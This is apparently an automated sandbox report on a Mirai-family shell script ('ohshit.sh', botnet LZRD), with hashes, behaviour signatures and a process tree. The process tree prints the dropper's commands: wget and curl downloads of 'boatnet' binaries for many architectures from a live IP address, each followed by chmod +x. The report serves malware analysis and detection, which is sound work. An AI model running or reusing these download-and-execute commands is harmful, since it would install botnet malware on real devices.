Analysis

  • max time kernel
    148s
  • max time network
    139s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    18-02-2025 04:07

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    32774e26d02b3c1b8e5c9bf8b5992be0

  • SHA1

    ad7e3cdf5913a6397e51fc0570e99e3f2b5cd2c6

  • SHA256

    84169b3c5a219018f397eceb2023846b9f47f0931c447422fc09396a79f40535

  • SHA512

    e00b5a106b8c6529679e10323802c998316e4e6240659a239b7680344ee860e457d8d3274de7d88ee4afb14b6b465651d8944b8bb8ab9c805ad74111c007f0ba

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Writes file to system bin folder
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1525
    • /usr/bin/wget
      wget http://196.251.87.222/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1526
    • /usr/bin/curl
      curl -O http://196.251.87.222/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1527
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1531
      • /bin/chmod
        chmod +x boatnet.x86 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1532
      • /usr/bin/wget
        wget http://196.251.87.222/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1537
      • /usr/bin/curl
        curl -O http://196.251.87.222/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1538
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1540
      • /usr/bin/wget
        wget http://196.251.87.222/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1545
      • /usr/bin/curl
        curl -O http://196.251.87.222/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1546
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1548
      • /usr/bin/wget
        wget http://196.251.87.222/hiddenbin/boatnet.i468
        2⤵
          PID:1553
        • /usr/bin/curl
          curl -O http://196.251.87.222/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1554
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1556
        • /usr/bin/wget
          wget http://196.251.87.222/hiddenbin/boatnet.i686
          2⤵
            PID:1561
          • /usr/bin/curl
            curl -O http://196.251.87.222/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1562
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1564
          • /usr/bin/wget
            wget http://196.251.87.222/hiddenbin/boatnet.x86_64
            2⤵
              PID:1569
            • /usr/bin/curl
              curl -O http://196.251.87.222/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1570
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1572
            • /usr/bin/wget
              wget http://196.251.87.222/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1577
            • /usr/bin/curl
              curl -O http://196.251.87.222/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1578
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1580
            • /usr/bin/wget
              wget http://196.251.87.222/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1585
            • /usr/bin/curl
              curl -O http://196.251.87.222/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1586
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1588
            • /usr/bin/wget
              wget http://196.251.87.222/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1593
            • /usr/bin/curl
              curl -O http://196.251.87.222/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1594
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1596
            • /usr/bin/wget
              wget http://196.251.87.222/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1601
            • /usr/bin/curl
              curl -O http://196.251.87.222/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1602
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1604
            • /usr/bin/wget
              wget http://196.251.87.222/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1609
            • /usr/bin/curl
              curl -O http://196.251.87.222/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1610
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1612
            • /usr/bin/wget
              wget http://196.251.87.222/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1617
            • /usr/bin/curl
              curl -O http://196.251.87.222/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1618
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1620
            • /usr/bin/wget
              wget http://196.251.87.222/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1625
            • /usr/bin/curl
              curl -O http://196.251.87.222/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1626
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1628
            • /usr/bin/wget
              wget http://196.251.87.222/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1633
            • /usr/bin/curl
              curl -O http://196.251.87.222/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1634
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1636
            • /usr/bin/wget
              wget http://196.251.87.222/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1641
            • /usr/bin/curl
              curl -O http://196.251.87.222/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1642
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-zQnUeG netplan_agvzkkfx ohshit.sh snap-private-tmp ssh-RkhVVFBqnqXf systemd-private-0104f6e541f146c1821cb46a7d879e9a-bolt.service-JTmSDM systemd-private-0104f6e541f146c1821cb46a7d879e9a-colord.service-j4FNmX systemd-private-0104f6e541f146c1821cb46a7d879e9a-ModemManager.service-daBbJ3 systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-resolved.service-1lnNMf systemd-private-0104f6e541f146c1821cb46a7d879e9a-systemd-timedated.service-TYTzjB WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1644

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            96f3a4c996750d9f2254cc55883c2ee4

            SHA1

            985d2163502ffe96c88c2c578cb9205c6140947a

            SHA256

            984e3565cdf897a62523a6776c16835634be7312a415d8c36c56ce14545539d7

            SHA512

            6b29d2fa53cc5a912372da02c52e69fd440494cf84054adaa45d8a2d5600e514e9b0ce5a56f417de7df698de3e52e2b2800561be15b6e6e7da67bd6f5d00a7e1